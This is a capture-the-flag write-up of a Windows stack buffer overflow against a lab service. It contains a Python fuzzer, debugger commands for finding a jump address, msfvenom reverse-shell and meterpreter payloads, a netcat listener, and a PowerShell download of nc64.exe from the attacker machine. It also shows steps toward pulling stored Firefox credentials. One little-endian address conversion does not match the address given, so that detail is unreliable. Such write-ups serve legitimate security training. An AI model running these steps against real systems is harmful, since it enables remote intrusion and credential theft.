#!/usr/bin/env python3
import socket, time, sys
try:
ip = str(sys.argv[1])
port = int(sys.argv[2])
print (ip+":"+str(port))
timeout = 5
prefix = ""
string = prefix + "A" * 10
while True:
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(timeout)
s.connect((ip, port))
print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
s.send(bytes(string, "latin-1"))
s.send(bytes("\n", "latin-1"))
except:
print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
sys.exit(0)
string += 10 * "A"
time.sleep(1)
except:
print ("\nCould not connect!")
sys.exit()
The fuzzer didn't work as well as it did with other BOF problems. It kept sending bytes even after the program crashed so I had to manually watch when it crashed, which happened around a payload size of 150 bytes.
To control EIP I had to do a few attempts but eventually found out a offset of 146 is what I needed.
python exploit.py $VICTIM 1337
Finding Bad Characters
Kali
Now we changed the program to look for bad characters so we don't later use those bad characters when generating our payload. We do this by setting our payload to all possible characters, than follow EIP to see which characters aren't showing up. To do this we just have to keep running our exploit and removing the bad characters one by one. The bad characters found were: \x00\x0a
Now we need to find a place to jump to to run our payload. We find there is only one place that will meets our conditions that we need which is an address with SafeSEH, ASLR, and NXCompat disabled and the memory address doesn't start with 0x00. ex: 0x0040000 won't work, 0x100000 will work. 0x08040000 is the only possible address to use but SafeSEH is not disabled.
Immunity Debugger
!mona modules
We find that gatekeeper.exe has 2 possible JMP ESPs to use. So we will start with the first one which is 0x080414c3 but when we add it to our code we need it in little endian format so it becomes \xaf\x11\x50\x62.
Immunity Debugger
!mona find -s "\xff\xe4" -m gatekeeper.exe
Exploit - Staging
Now that we have the return address to use, we just need to generate our payload without using the bad characters found previously. I also added 16 NOPs before the payload as suggested in the room. All that is left is to is to update our code with our payload and run it against the program.
msfvenom -p windows/shell_reverse_tcp LHOST=$KALI LPORT=4444 EXITFUNC=thread -b "\x00\x0a" -f c
The program worked against our staging environment so it should work against the actual box we're trying to exploit. It ends up working with exploit.py.
Kali #1
rlwrap nc -lvnp 4444
Kali #2
python exploit.py $VICTIM 31337
I saw that the Victims OS is x64 and I wasn't able to run exes or powershell so I changed the payload. I first tried x64 payload but it wasn't working because it was to big so I switched to a meterpreter payload to avoid issues running commands.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=$KALI LPORT=4444 EXITFUNC=thread -b "\x00\x0a" -f c
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost eth0
set lport 4444
exploit -j
Kali #2
python exploit.py $VICTIM 31337
Privilege Escalation
There wasn't much running on the server but I was able to see that firefox was running. Browsers can have credentials stored in them so I investigated further into this.
meterpreter > run post/windows/gather/enum_applications
cd C:\Users\natbat\AppData\Roaming\Mozilla\Firefox\Profiles\
cd ljfn812a.default-release
powershell "(New-Object System.Net.WebClient).Downloadfile('http://$KALI:81/nc64.exe','nc64.exe')"
Kali
We need to transfer the following files one by one.